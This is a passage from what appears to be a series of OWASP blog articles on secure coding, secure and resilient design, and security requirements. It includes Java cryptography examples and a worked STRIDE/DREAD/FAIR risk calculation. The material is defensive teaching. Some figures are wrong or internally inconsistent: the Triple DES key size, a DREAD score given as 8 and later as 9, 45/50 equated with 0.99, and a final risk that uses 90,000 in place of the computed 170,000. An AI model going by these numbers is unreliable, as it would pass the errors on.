            SECURE_RANDOM = SecureRandom.getInstanceStrong();
        } catch (NoSuchAlgorithmException e) {
            throw new IllegalStateException(e);
        }
    }

    public static void main(String[] args) throws Exception {
        X25519PrivateKeyParameters clientPrivateKey = new X25519PrivateKeyParameters(SECURE_RANDOM);
        X25519PrivateKeyParameters serverPrivateKey = new X25519PrivateKeyParameters(SECURE_RANDOM);

        X25519PublicKeyParameters clientPublicKey = clientPrivateKey.generatePublicKey();
        X25519PublicKeyParameters serverPublicKey = serverPrivateKey.generatePublicKey();

        // Both of them are same
        byte[] clientSharedSecret = agreeSharedSecret(clientPrivateKey, serverPublicKey);
        byte[] serverSharedSecret = agreeSharedSecret(serverPrivateKey, clientPublicKey);
    }

    private static byte[] agreeSharedSecret(X25519PrivateKeyParameters privateKey, X25519PublicKeyParameters publicKey) {
        X25519Agreement agreement = new X25519Agreement();
        agreement.init(privateKey);

        byte[] sharedSecret = new byte[32]; // length of key
        agreement.calculateAgreement(publicKey, sharedSecret, 0);
        return sharedSecret;
    }
}

When we talk about elliptic curves, we have a private and public key pair, right? So we can use the private key to sign the data, and use the public key to verify its integrity. So we can create signatures using ECDSA (Elliptic Curve Digital Signature Algorithm:

public class ECDSAExample {
    private static final SecureRandom SECURE_RANDOM;

    static {
        try {
            SECURE_RANDOM = SecureRandom.getInstanceStrong();
        } catch (NoSuchAlgorithmException e) {
            throw new IllegalStateException(e);
        }
    }

    public static void main(String[] args) throws Exception {
        KeyPair keyPair = generateECKeyPair();

        String data = "Hello, this is a message to be signed.";
        byte[] dataBytes = data.getBytes(StandardCharsets.UTF_8);

        byte[] signature = signData(dataBytes, keyPair.getPrivate());

        System.out.println("Signature: " + Base64.getEncoder().encodeToString(signature));

        boolean isVerified = verifySignature(dataBytes, signature, keyPair.getPublic());

        System.out.println("Verify signature result: " + isVerified);
    }

    private static KeyPair generateECKeyPair() throws Exception {
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("EC");
        keyPairGenerator.initialize(new ECGenParameterSpec("secp256r1"), SECURE_RANDOM);
        return keyPairGenerator.generateKeyPair();
    }

    private static byte[] signData(byte[] data, PrivateKey privateKey) throws Exception {
        Signature signature = Signature.getInstance("SHA256withECDSA");
        signature.initSign(privateKey);
        signature.update(data);

        return signature.sign();
    }

    private static boolean verifySignature(byte[] data, byte[] signature, PublicKey publicKey) throws Exception {
        Signature signatureInstance = Signature.getInstance("SHA256withECDSA");
        signatureInstance.initVerify(publicKey);
        signatureInstance.update(data);

        return signatureInstance.verify(signature);
    }
}

Avoid deprecated and insecure encryption algorithhms

DES - Uses a 56-bit key. This means that for bruteforcing it, you only need to try 2^56 combinations, which in today's reality, would take hours (or even a few minutes).
Triple DES is an attempt to fix the DES short key, where the key size is 158 bits. But because of meet-in-the-middle attacks, the effective key length is only 112 bits. Resulting key sizes are still smaller than current standards (minimum 128 bits, preferably 256 bits), and with more to add, because of its triple encryption, it's just plain slow.
RC4 - This algorithm was used for streaming data encryption. Because of the predictable properties of the first bytes, it allowed you to anticipate part of the key stream.
RSA - Asymmetric encryption algorithm. With modern factorization techniques and computing power, keys smaller than 2048 bits can be cracked (larger keys are only a matter of time). And if a PKCS#1 encryption scheme is used, regardless of key length, there is a high risk for Padding Oracle attacks.

Store sensitive data in memory securely

In the examples where we worked with sensitive information (like passwords), we needed to ensure that we used them correctly in memory.

Let's agree in advance, if you work with passwords, treat them not as String strings, but as a char[] or byte[] arrays. This is primarily to clear our array when we no longer need it, thus protecting us from Data in Use attacks. It is implemented in a simple manner:

public static void destroy(char[] chars) {
    Arrays.fill(chars, '\0');
}

public static void destroy(byte[] bytes) {
    Arrays.fill(bytes, (byte) 0);
}

There is also one important thing to consider. All this data is stored in RAM (RAM), right? When memory is not enough, data that is rarely used can swap'd to disk. Here it is important, in case sensitive data is stored in memory for a long time (let's say we cached it), it should never be swapped to disk. This can lead to a big internal threat if an attacker gets into the server, because disk is much easier to analyze than memory, and even if the data has already been deleted from it, if that memory segment has not been overwritten, it can be recovered.

On UNIX systems, it is realized through memory allocation and mlock settings on them, and from Java, to allocate non-swappable memory, followed by its obfuscation can OWASP Netryx Memory be used:

byte[] data = "sensitive data".getBytes();

SecureMemory memory = new SecureMemory(data.length);
memory.write(data);

// After we wrote data, we can freely clear it
Arrays.fill(data, (byte) 0);

memory.obfuscate();

// Note, `bytes` would be auto destroyed after it leaves lambda.
// You can create a copy of bytes, if needed.
char[] originalSensitive = memory.deobfuscate(bytes -> Bytes.wrap(bytes).toCharArray());

memory.close(); // clears memory when we don't need it anymore

This method is particularly useful for systems with high security requirements.

Conclusion

Following the principles of secure programming is the basis for building a secure application. Security must be integrated at all levels of development, from architecture design to the actual writing of code. No matter how secure the environment on which the application runs, if the application itself is vulnerable, it creates a big threat for the entire system. Conversely, even if the code is secure, a weak architecture or poor infrastructure management can lead to critical vulnerabilities. That's why we discussed creating a strong and secure architecture in Secure & Resilient Design.

Input validation is a key aspect of security. At first glance, this practice may seem simple, but ignoring it can lead to devastating consequences such as injection attacks, XSS and other types of threats. Proper data validation is not only a defense against obvious vulnerabilities, but it is also the first line of defense that helps protect your system from potentially unknown attacks based on malicious user inputs.

Broken Access Control is a top 1 vulnerability, so it's critical to understand access control methods and implement them correctly in your system. And by following the principle of “Secure out of the box” you protect yourself from a potentially fatal error. Moreover, it is not enough just to authenticate & authorize the user, you must also secure the target user as much as possible.

Error states are inevitable in any software, but it is important that they are handled in a way that does not expose potentially damaging information to malicious users, this is a violation of the first principle of the CIA - Confidentiality. Again, gathering information about the target is the very first step in an penetration attempt.

Finally, when dealing with sensitive data, we need to make sure that we only use trusted and up-to-date cryptographic methods to protect it, and that our secrets are handled as securely as possible. That's it!

OWASP is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.

Secure and Resilient Design

Martin Belov — Fri, 19 Jul 2024 19:35:56 +0000

By Martin Belov & Starr Brown

In the previous article we learned how to develop security requirements using techniques such as Security & Abuser stories, model threats with STRIDE, model risks with DREAD, and structured the FAIR model using these techniques.

Now in the design phase, our goal is to define the security principles that will be used in our system, based on the security requirements we've gathered.

In this article, we will look at important design principles and how to ensure the overall resilience of the security system and architecture.

1. Secure Design Principles

Principle of least privilege

Let's imagine the office of a small company. We have an accountant, a marketer, an IT specialist and an HR manager.
Everyone is doing their own thing, communicating with each other and interacting with the system through their individual accounts.

The company did not conduct cyber hygiene or cyber awaareness training for its employees and unwittingly, the HR manager opened a phising email message containing an infected CV/resume. The virus stole the login and password of the HR manager's individual account, and an attacker could now connect to the company's system impersonating this team member.

The company also did not properly utilize Role Based Access Control (RBAC) and this allowed for additional access beyondthe HR manager's area of responsibility, and the attacker further captured all department's information, which significantly increased the impact.

Obviously, the impact would have been much less if initially each role on the team only had access to the information and actions they really needed.

The same goes for the services that work in our system. They should only have specific rights that reflect only what they really need, or least priviledge.

Let's look at the following simplified architecture as an example:

We'll imagine our application has 5 services:

Auth Service - Manages user logins
User Service - Manages user profiles
Payment Service - Responsible for payment processing.
Notification Service - Sends notifications to users
Analytics Service - Analyses data for reporting purposes.

According to the principle of least privilege, in the aspect of data access, it should be restricted as follows:

Auth Service has access to user accounts only
User Service can only operate on user profiles
Payment Service can only access payment data
Notification Service only has access to contact details for sending notifications
Analytics Service only has access to anonymised user data

In this case, even if a vulnerability is discovered in one of the services, an attacker will only be able to get access to the data related to that service as it is contained within because we limited access control to the service. This is how the principle least privilege should be observed at every layer of the system, from user rights of the server itself to entities inside our services.

Zero Trust Principle

The Zero Trust principle fits very well with the previous one. The basic idea is that our system should not trust users or services by default, even if they are within the corporate network.

To make it easier to understand, let's go back to our office example. If a vendor or a delivery person is visiting the office, they are not necessarily a member of the team that works there, right? If they walk up to an accountant and ask for certain statements, the accountant has to first find out who they are, and whether they have the right to receive those statements.

This is exactly the same with our system. If, within the network, the first service A contacts the second service B, then our service B must first authenticate the request to identify the sender, and then authorise access by checking whether the service has sufficient rights to do so.

To better understand how to build Zero Trust architecture for services, let's take a real-world example. To do this, let's use tools from HashiCorp:

Consul - To set up secure network communication via mTLS, service location and certificate issuance
Vault - For service authentication and key management.

Inside Consul create roles (e.g. service-a, service-b) and configure the root certificate. It will be used to issue TLS certificates to our services by their ACL token. In Vault set the same roles for our services and specify policies for them. Policies can be any value, for example you can specify service rights.

Finally, import the Consul root certificate into Vault and set TLS Auth Method as the authentication method. Now our service authentication and authorisation process will look like this:

Let's imagine service A wants to contact service B to request user information. For service A in Vault, we have added the com.myapp.users.access policy.

On initialisation, service A retrieves its certificate from Consul
Using its certificate, it authenticates to Vault and gets its temporary access token
Service A specifies this token in the headers and sends a request to service B
Service B checks the token through Vault. It looks to see if the service has a com.myapp.users.access policy and relative to that it skips or blocks the request.

As you can see, we are not only authenticating and authorising our services automatically here, but also following the previous principle of minimum privilege, which is an integral part of the zero trust architecture.

Fail Securely

No one is 100% safe from system failure. Failure can be caused by software errors, hardware failures, misconfigurations, and external attacks.

It is very important to us that the system, in the event of a failure, instead of going into an erroneous state, can either handle it correctly, or remain in a state where it will not give out information about its internals.

Attackers often try to cause a system to fail just to get technical details about it. Gathering information about the system is the very first step in illegitimate actions against the infrastructure.

Improper error handling often results in an error stacktrace being returned back in the response, and this, depending on the context, can give away information about:

The framework on which the application is developed
The server on which the application is based
The internal structure of the application
The database structure (if the error is related to it

As you can see, this can lead to revealing important information about the structure of the entire system.
A failure can be called safe if, as a result:

No technical details about the system have been released
The integrity and confidentiality of data in the system was not compromised
The system continued to operate smoothly
All information about it was logged for further analysis

We will cover practices for secure error handling in detail in the Secure Coding Principles article.

Defence in Depth

It would look strange if the system was protected by one thing. A system cannot be secure even if we have designed and coded the application correctly, but the security of the environment in which it runs is lame.
Conversely, what good is a secure environment if we have a leaky application?

A system is considered secure if it provides security at each layer of the network, correctly identifies intrusion attempts, and responds to incidents in a timely manner.
This principle implies that defences should be layered and security professionals should develop measures appropriate to their expertise.

For example, a network security specialist (NetSec) should provide network segmentation, raise and configure IDS and IPS to filter and block malicious traffic, and install firewalls (Firewall).
The AppSec professional must develop defence techniques at the application level, including the application of secure programming principles.

Thus, if an intruder bypasses one layer of protection, it is up to the next layer to prevent unauthorised access.

Audit and Logging

Remember the office we described at the beginning? Usually offices have some for of phsyical access control like door controls with security badges and recorded surveillance.
Now imagine that the office has decided not to record people's entrances and exits, the cameras are not working, and valuable items have gone missing from the office.

Of course we know that the things were stolen, but why should we know about the fact of the theft if we can't find out who did it or how it was done. Now it's important that we don't allow this to happen in our system.

Failure to properly audit and log actions in systems violates one of the principles of information security - non-repudiation. It implies that a party cannot deny the fact of its participation in an action. Also their absence doesn't allow us to notice a problem in the system in time.

For effective auditing and logging, the following concepts should be introduced into our system as a minimum:

Security Events

This type of event will include all activities that relate to system security, including:

Successful/unsuccessful authentication attempts
Attempts to access a protected resource
Any abnormal activity (e.g. account access attempts exceeded)
Changes in user access rights
Access to critical files/systems
Any information from security systems on different layers of the network (e.g. IDS and IPS).

To manage these events, we need to have an appropriate system called SIEM (Security Information and Event Management).
One of the best open-source solutions is Wazuh.

Error Events

The name speaks for itself. These are error events that occur in our system and in the services of this system.
It includes:

Connection failures (e.g. to databases)
Network errors like connection failure
Performance problems (e.g. timeouts)
Failed attempts to send/receive messages

And any other internal application errors/exceptions.
Often, especially in small teams, instead of centralised error event handlers, they use a conditional logs folder where they store event logs by day.

This is really convenient if you are only testing 1 service locally and want to quickly see what's going on. This method is also insecure as without a central authority who automatically receives logs the logs can be tampered with by either the external or potentially even an internal threat actor. But if you're already testing the whole system, or going into production mode, it's much preferable to use centralised error trackers.
Our favourite is Sentry.

It is much more convenient to have all the information about errors of different services in the system, all the information about performance problems in one place, isn't it?

Principles of simplified and open security

We have determined that a system is secure if the right preventative measures are in place at every layer.
But when implementing security systems, there are 3 basic principles to keep in mind:

Secure by Default

Systems and applications should be built from the ground up to be secure out of the box without additional configuration.
This principle is needed first and foremost to avoid human error.

You can see an example of how this principle is implemented in your browser. For example, popular browsers with no additional configuration include features that block pop-up windows, have phishing protection, have in-built warnings (error reporting) for users if it is experiencing atypical behavior, and use HTTPS by default.

Open Design

Never base your security system on the principle of security through obscurity. Knowing the security architecture in our system should not give an attacker the ability to compromise it.

This is the same principle we apply in cryptography and is known as the Kerckhoffs's Principle. It is as follows:

The security of a cryptographic system should not depend on the secrecy of the algorithm, but on the secrecy of the key.

KISS

(Keep It Simple Stupid) is a principle that states that a system and its components should be as simple and easy to understand as possible.
Simpler systems are easier to understand and defend. Indeed, by implementing complex and incomprehensible systems, you are more likely to hinder yourself, and you will not be able to protect it effectively.

The same principle should be applied not only in our software architecture, but also in our application code. This will make it much easier for us to maintain it.

For example, if we have one big monolithic application, it is better to use the principle of "Divide and Conquer" and divide it into microservices.

2. Cyber-resilient security systems

Understanding security design principles helps us build systems that are secure against many attack vectors, including both external and internal threats.

But beyond security, we need to make sure that our security system is resilient. To understand how to make it resilient, let's look at the Strategic and Structural principles of security system resilience:

Strategic Principles

Under strategic principles, we refer to those principles that guide the overall security and resilience strategy of a system. Among these, 5 main principles stand out:

Focus on shared critical resources

Remember in the previous article we described Security & Abuser stories? With their help, we were able to identify which resources are critical in the first place.
Organisational and software resources are often limited (or rather almost always), accordingly they should be focused on those resources first, where they will bring the most value.

Support flexibility and architect for adaptability

Security is not something you can just implement according to a conditional checklist and forget about. It is an iterative process and our system must always be ready to be modified in response to new threats and changes in the technology environment. Our goal is to design the system from the beginning so that the cost of change is minimised.

To follow this principle, try to take a modular approach. Divide the system into modules, and try to minimise the dependencies between them. The KISS principle described before will help a lot with this.

Reducing attack surfaces

Attack surfaces are the places in the system through which an attacker will try to penetrate our system. These can be not only services that go out to the network, but also human resources. After all, an attacker can exploit vulnerabilities not only in the systems aspect, but also by attacking specific people who may have access to the system.

Our goal in this case is to minimise the places an attacker can approach and focus on layering their protection.
Our best friends are the principles of Least Privilege, Defence in Depth and Zero Trust.

Any resource can be compromised

When designing systems, we shouldn't assume anything is 100% secure. We should always approach component security from the back end, and design everything so that the damage due to potential compromise is minimised.

Furthermore, systems must remain capable of meeting performance and quality requirements even if some of their components are compromised.
Strategies for addressing incidents and response after a breach, as well as recovery in the event of compromise, must be developed in advance.

Attackers evolve

Cybercriminals are constantly evolving their attack methods and approaches. They often do so faster than the level of overall security is compensating for. When designing your security measures, try to ask the question "how can this be bypassed?" in addition to analysing "what does this protect against?".

To avoid falling prey to attackers, we need to design security measures several steps ahead and analyse new potential attack vectors when we introduce changes to our system. Moreover, cyber-intelligence is a very good practice to stay up to date with the latest security trends and attack methods.

Structural Principles

The strategic principles described before drive the structural principles we apply to the system. We will describe 9 key principles that will ensure that our architecture and the security mechanisms within it are resilient.

Limit the need for trust

Systems are comprised of and work with both technical, physical, and intangible components and the fewer components that need to be trusted, the better for system security. In the context of services, Zero Trust and the principle of least privilege will help us maintain system security.

In our simplified example in section 1 that considered Zero Trust architecture, we utilized HashiCorp Vault, making our trust component the temporary identity token that is given by Vault after service authentication. To further support security best practices, the trust component identity token has the TTL expiration set with a short life making it more secure.

Control visibility and usage

This principle aims to prevent an attacker exploring the system either internally or externally.
Below, we define 3 conditions under which we should apply it:\

When the data must be protected from unauthorised access:\ We encrypt this data for storage and transmission, or tokenise and obfuscate it.
When it is necessary to complicate the analysis of network traffic:\ Here we use a technique known as "Chaffing & Winnowing", simply talking, we add noise to the traffic and to the transmitted data.
When it is necessary to protect the development process and supply chain:\ This is in the area of OPSEC competence. But as a rule of thumb, the principles we know such as the Minimum Privilege Principle and encryption of transmitted data are applied.

Contain and exclude behaviours

This principle helps to control and restrict the behaviour of systems and their components to prevent undesirable actions and minimise the harm caused by them. Our goal is to control the actions of attackers, even if they were able to penetrate the system. We must limit what they can do and where they can get to:

Exclude unacceptable behaviour:
We can define the kinds of behaviours that should not happen. Let's take a trivial example from the CRM of a typical company who has standard working hours. If the company's opening hours are from 08:00-18:00, then logically, we could prohibit any logins to the system outside of this period.
Content of suspicious behaviour:
The principle is insanely simple. If any suspicious behaviour is detected, we should create an isolated environment where we can analyse it. For example, if a suspicious file is downloaded, we can run it in a separate sandbox to analyse it.
Dynamic Segmentation and Isolation:
Let's imagine that suspicious traffic is detected. The system needs to redirect this traffic to an isolated environment where we can safely analyse it in order to exclude potential harm.

In order to properly study behavioural patterns and automatic detection of suspicious activity, it is good practice to raise a separate isolated environment known as a Honeypots. In this environment, we will be able to analyse what the attacker wants to do and understand their train of thought.

Plan and manage diversity

I've described the importance of the KISS principle in architecture and security systems before, but there are cases where intentional complexity has benefits. One example describes this principle - namely the danger of homogeneous systems. It's important to strike a balance here:

Diversity helps protect the system from attacks that might be successful against homogeneous systems. Using a variety of technologies and methods reduces the likelihood that one vulnerability will compromise the entire system.

For example, critical services can use different operating systems on which they run so that a single vulnerability cannot be exploited on both. This is especially relevant if Buffer Overflow style vulnerabilities are suddenly discovered, where the success of instruction execution is highly dependent on the architecture on which the application and OS are running.
Different OS and architectures may handle memory differently, making it difficult to exploit the same vulnerability on different systems.

Recent events have shown how dangerous homogeneous systems are. Due to a security update failure from CrowdStrike, many companies around the world faced serious problems. When you are dependent on one vendor, problems with that vendor can affect a lion share of infrastructure at once, as happened with airlines and banks. That's why it's important to use different technologies and vendors to mitigate risks and avoid global disruptions.

Maintain redundancy

Remember the third principle of the CIA triad - availability that we talked about in the first article? Availability ensures that all systems and users have access to what they require and redundancy helps avoid system downtime due to failures and malfunctions. If one component fails, another component can take over its functions, ensuring system continuity.

We often apply redundancy when we want to balance activity on a server. Designing a component of the system to support horizontal scaling will simply allow a second such component to be started if one component fails, or is disabled due to failure.

Manage resources adaptively

We want our system to be flexible, don't we? If so, then the environment in which it operates should adapt to real-time changes. It should react quickly to changes and minimise the effects of disruptions including failures.

For example, in the case of threat detection, firewall and security rules can change in response to intrusions or anomalous behavior. For example, if it is noticed that a user tries to log in from an unknown location, even if the login user name and password is correct, we need to authenticate them additionally (e.g. via email) because their abnormal location prompted our controls to altert us of this behavior.

Determine current reliability

Do not rely on the stability of components over time, but rather check their current reliability on a regular basis. This includes periodic verification, continuous monitoring to detect and remediate potentially malicious behaviour in time.

It's also good practice to conduct penetration tests of your system regularly to make sure they withstand current threats and stay secure over time. One of our favourites for pentesting is OWASP ZAP. We'll learn how to pen test systems effectively in the Security in Testing article.

Modify or disrupt the attack surface

In the case where an attacker uses an attack surface (conventionally attacking one of our services), we can think of ways to make it harder for them to succeed.

This includes:

Dynamic change of system configurations (e.g. change of system IP addresses).
Moving important data and services between different physical or virtual locations.
Creating false targets, such as honeypots.

For example, let's imagine that an attacker has launched a DDoS attack. One of the most effective methodologies that I believe is not just filtering traffic, but using the IP Hopper mechanism.
According to this methodology, all legitimate traffic should be redirected to a server that is not under attack, while illegitimate traffic literally attacks emptiness.

Make the effects of deception and unpredictability transparent to the user

Finally the last structural principle for building resilient systems. Throughout this article, we have learnt many security mechanisms that can be designed and applied.

The idea behind this principle is that it is the attackers who should be challenged by our security mechanisms. Mechanisms should not interrupt the continuity of our system for legitimate users.

Conclusion

In this article, we have reviewed key principles of secure design and methods for ensuring its resilience.

We walked through the eight principles of secure design:

Principle of least privilege - Systems and its components should have as many rights as they need and no more.
Zero Trust Principle - Don't trust services and users, even if they are inside the corporate network, without verification.
Fail Securely - Handle failures in such a way that they do not give away internal system information.
Defence in Depth - Security cannot be built from a single layer.
Auditing and Logging - Auditing, logging of security events, and real-time error tracking.
Secure by Default - Systems should not require additional configuration to be secure.
Open Design - The security of the system should not depend on the secrecy of its implementation.
KISS - Don't overcomplicate the system, making it harder to defend.

Learned strategic principles of sustainability:

Focus on shared critical resources
Support flexibility and adaptability
Reducing attack surfaces
Assumption of resource compromise
Accounting for the evolution of attack methods

And we deconstructed the structural principles of resilience:

Limiting the need for trust
Control of visibility and utilisation
Containing and excluding undesirable behaviours
Diversity planning and management
Maintaining redundancy
Adaptive resource management
Determining current reliability
Modifying or breaking the attack surface
Transparency of the effects of deception and unpredictability on users

Thus, by following secure design principles and system resilience principles, we can design a truly secure architecture that is ready to provide protection in the aggressive external world.

Security in Requirements phase

Martin Belov — Mon, 01 Jul 2024 18:46:07 +0000

Building requirements is one of the first steps in the SDLC, where we define the goals and objectives of our future application. Usually, at this phase, we collect relevant stakeholders and start discussing their needs and expectations. We talk to people who will use the application, those who will manage it, and anyone else who might be affected by it to understand what they want the application to do and how it should work.

After reading this article, we will understand how to:

Prepare Security Requirements
Properly classify and rate threats
Use a language of money in the risk assessment and prioritization
Make sure, that defined security requirements will be implemented during other steps of SDLC

During requirements engineering, we need to separate functional and security requirements. While functional requirements show what an application should do, security requirements show what an application shouldn't do.

It's important to carefully consider building security requirements because a large part of the system's security depends on them. Good security requirement follows SMART principle:

Name	Definition
Specific	Requirement shouldn't be complex and too broad, but exact and clear.
Measurable	There should be a clear way to test if this requirement was met or not.
Achievable	Developers should have a clear understanding of actions they need to take in order to meet the requirement.
Relevant	Requirement should ensure it addresses actual risks and provide meaningful protection, avoiding measures, that don't add values.
Time-bound	There should be a clear timeframe for implementation of this security requirement.

Usually, stakeholders involved in security requirements engineering are:

Developers
Security experts
Project Managers/Architects

All of them can participate in one of the ways to build security requirements: Security and Abuser stories.

Security Stories

As a [role], I want [security feature], so that [benefit]

Security stories are a special type of user stories, that focus on the security of the system.

You should look at the application from the perspective of users and stakeholders who need protection.

Examples:

As a developer, I want to ensure that all passwords are stored with strong hashing algorithm so that even if the database is compromised, the passwords remain secure.
As a system administrator, I want to log all access to sensitive data so that we can audit and identify any unauthorized access.

Abuser Stories

As a [bad guy], I want to [do something bad]

Abuser stories are the opposite of security stories. Here you need to think like an attacker, finding the ways you can exploit an application.

Examples:

As an attacker, I want to perform a brute force attack on the login page to gain access to user accounts.
As an attacker, I want to intercept data transmitted over the network to steal sensitive information.

So, security and abuser stories allow us to look at the application from both points of view: the user's and the attacker's.

It is a proactive approach, that provides a detailed and scenario-based understanding of security requirements.

Now we need a comprehensive way to ensure our critical assets and potential risks are managed.
For this, we can use the FAIR model:

Factor analysis of information risk (FAIR)

FAIR is a methodology, that helps to assess and manage informational risk in a financial terms.

It includes the following core steps:

Threat and Critical Asset identification - defining valuable assets of the application and identifying related threats for them.
Contact Frequency (СF) assessment - calculating how frequently the vulnerability interacts with critical asset
Calculating Probability of Action (PoA) - finding the probability that asset would be attacked
Threat Event Frequency (TEF) assessment - multiplication of CF and POA
Vulnerability (Vuln) assessment - the probability that the attack on the asset would be successful
Loss Event Frequency (LEF) assessment - multiplication of TEF x Vuln
Defining Loss Magnitude (LM) - calculating Primary Losses (actual damage in a result of the attack) and Secondary Losses (reputation, litigation losses)
Calculating Overall risk - multiplication of LEF x LM

Sounds a bit hard, right? As FAIR is just methodology, not framework, there are no concrete ways of how you should calculate risks.

But using simple Threat Modeling techniques, we can cover most of these steps:

Threat Modeling

Threat modeling allows us to identify and rate threats.

Identifying threats helps us to understand which security aspects are at risk, while rating ensures we prioritize them in the right way.

To properly identify threat we will use STRIDE framework:

Threat	Description	Broken Principle
Spoofing	Pretending to be as someone or something else.	Authentication
Tampering	Unauthorized alteration or modification of data/communications.	Integrity
Repudiation	Denial by involved party of previously performed actions due to lack of auditing and logging.	Non-repudiation
Information disclosure	Unauthorized access or exposure of sensitive data.	Confidentiality
Denial of Service	Disruption of system's normal functioning.	Availability
Escalation of privilege	Allowing entity to do something, what it shouldn't have permission for.	Authorization

As we see, it allows us to classify a threat in one or more of 6 categories, defining which security aspects are affected.
After the identification we can calculate the risk by using the DREAD framework:

Name	Definition
Damage Potential	How big the potential damage would be?
Reproducibility	How easy is it to reproduce this attack?
Exploitability	How hard is it to use this vulnerability?
Affected Users	How many users would be affected?
Discoverability	How fast can an attacker discover the vulnerability?

Each category in the model is scored from 0 to 10. The sum of the scores in all categories is total risk score. Maximum risk score is 50.

As an example let's create a STRIDE and DREAD analysis for SQL Injection:

Threat	Description	Mitigation
Spoofing	Manipulation of SQL queries to bypass authentication mechanisms.	Use prepared statements and parameterized queries to prevent manipulation of authentication queries.
Tampering	Changing data within the database by injecting malicious SQL commands.	Use data versioning for tracking of changes and rollback if unauthorized modifications are detected.
Repudiation	Altering transaction records, making it difficult to verify malicious actions.	Enable Database Activity Monitor (DAM) for logging and auditing actions within the database.
Information Disclosure	Retrieving sensitive information from the database.	Encrypt all sensitive data and store all keys separately from the data.
Denial of Service	Executing costly SQL queries to disrupt database operations.	Implement rate limiting and monitor query performance to detect and mitigate abuse.
Escalation of Privilege	Injecting to get elevated privileges within the application or database.	Enforce Least Privilege principle and use role-based access control.

According to STRIDE classification, we can easily calculate DREAD scores:

DREAD	Score
Damage Potential	9
Reproducibility	8
Exploitability	10
Affected Users	10
Discoverability	8

Thus, the total risk score for SQL Injection is 9 + 8 + 10 + 10 + 8 = 45.

After this, we can use Security & Abuser stories, STRIDE and DREAD frameworks to structure our approach with FAIR methodology:

› Threat and Critical Asset identification

Using Security & Abuser stories, we can find critical assets.

As a developer, I want all user input to be validated to prevent SQL Injection in the database.

From this security story we see, that database is our critical asset.
To identify the influence vectors of the threat, we will use STRIDE.

› Contact Frequency (СF) assessment

This criteria fully depends on the functional requirements.
For instance, if our critical asset is the database and vulnerability relates to it, the frequency is actually how often will the user interact with the database.

› Calculating Probability of Action (PoA)

We can use Reproducibility and Exploitability scores from the DREAD framework.
For instance, SQL Injection's Reproducibility score is 9, and the Exploitability's score is 10.

Then our PoA would be (9 + 10) / 20 = 0.95

› Threat Event Frequency (TEF)

As mentioned before, TEF = CF x PoA.
For example, if there are 100 user-side interactions with the database, then for SQL Injection:

TEF = 100 x 0.95 = 95 threat events per day.

› Vulnerability (Vuln) assessment

For the Vulnerability assessment we can use the final DREAD score.
SQL Injection's DREAD score is 9 + 8 + 10 + 10 + 8 = 45/50, or 0.99.

› Loss Event Frequency (LEF)

LEF = TEF x Vuln
Then for our scenario, LEF = 95 x 0.99 = 94 loss events per day.

› Loss Magnitude (LM)

Loss Magnitude is calculated by summing potential primary and secondary losses. At this step we don't use any threat modeling approaches, cause it requires more specific analysis.

For instance, let's calculate the imaginary SQL Injection's Loss Magnitude:

Primary Losses:
The potential cost of stolen data: 50.000$
Cost of restoration works: 30.000$
System downtime: 10.000$
Total : 90.000$

Secondary Losses:
Legal and regulatory losses: 60.000$
Increased security costs: 20.000$
Total: 80.000$

Thus, Total Loss Magnitude is 90.000$ + 80.000$ = 170.000$

› Overall Risk

Potential Overall Risk = LEF(94) x LM(90.000) = 8.460.000$ per day

By using STRIDE, DREAD, Security & Abuser Stories, and FAIR, we learned how to develop strong security requirements.

The great thing about FAIR is that in the end, it translates these risks into financial terms, making it much easier for management to understand the importance of each security measure. This is especially helpful since it's often challenging to convey the significance of security risks to top executives.

Now after we have our security requirements and know their financial impacts, we can ensure we don't miss anything by using a Secure Requirements Traceability Matrix (SRTM).

Security Requirements Traceability Matrix (SRTM)

SRTM is a detailed document that links security requirements to their implementation and testing.

It makes sure that all security needs are handled during development, showing a clear path from the start to the final tests.

Requirement ID	Description	Source	Priority	Control Reference	Implementation Reference	Testing Method	Status	Comments
Unique identifier for each security requirement.	Detailed description of the security requirement.	Origin of the requirement (threat model, regulatory, etc)	The importance of the requirement	Reference to design document that address requirement.	Links to the code or configuration that fulfills the requirement.	The method used to verify requirement (unit/integrity/penetration tests)	Current status of the requirement (started/completed/in progress/verified)	Additional notes or comments

Let's imagine that after using the FAIR framework with Security & Abuser Stories, we identified the following security requirements:

Implement 2FA to follow PCI-DSS
Using input validation to prevent XSS Injection
Logging access to sensitive assets

In this case, our matrix will look like this:

Requirement ID	Description	Source	Priority	Control Reference	Implementation Reference	Testing Method	Status	Comments
SR-01	Implement 2-FA	PCI-DSS	High	Data Flow Diagram DFD-01	IMP-01	Integration Test: IT-01	Completed	SMS and Email OTPs being used
SR-02	Validate inputs to prevent XSS injection	OWASP TOP 10	High	Design Document DD-02	IMP-02	Static Analysis: SA-01	Completed	OWASP Netryx used for input validation
SR-03	Log all access to sensitive data	GDPR	Medium	Design Document DD-03	IMP-03	Penetration Testing: PT-01	Not Started	SIEM tool integration planned

For building requirements traceability matrix you will use such tools like YouTrack or Jira.

Summary

In this article, we learned how important it is to build security requirements early in the SDLC. By talking to stakeholders and using methods like Security & Abuser Stories, we can spot critical assets and potential threats from both user and attacker perspectives.

We used STRIDE to identify threats, DREAD to assess them, and FAIR methodology to look at these threats from all angles and translate their impact into financial terms, making it easier for management to understand their importance.

Finally, we talked about the Secure Requirements Traceability Matrix (SRTM), which helps us track security requirements from start to finish.
This ensures that nothing is missed and all security needs are properly addressed.

Finding and fixing security issues during the requirements phase can save millions of dollars later on. It’s much cheaper to address these problems early rather than after the application is built or at later SDLC steps.

Intro to Application Security

Martin Belov — Mon, 01 Jul 2024 18:45:43 +0000

In the face of increasing cyberattacks, application security is becoming critical, requiring developers to integrate robust measures and best practices to build secure applications.

But what exactly does the term "secure application" mean?
Let's take a brief look at some notable security incidents in history:

T-Mobile data leak

In January 2023, T-Mobile was attacked via a vulnerability in an API, resulting in the data of 23 million clients being compromised.
It allowed attackers to access confidential information of users, such as names, emails and phone numbers.

Industrial Control Systems Attack

In 2019, Russian espionage group named "Turla" attacked an industrial facility in Europe. After gaining access to industrial control systems, the group started manipulating data from sensors, such as temperature and pressure.
The main target of attackers was to break the integrity of data, in order to cause incorrect operational decisions and lead to incidents.

Attack on Bandwidth.com

Bandwidth.com suffered a Distributed Denial of Service (DDoS) attack in October 2021. The attack compromised availability of service, making its services inaccessible to users.
Due to the interruption of services, the company experienced a big financial impact, estimated at around 9-12 million dollars.

Each of these security incidents broke one of the core principles of information security: confidentiality, integrity and availability.
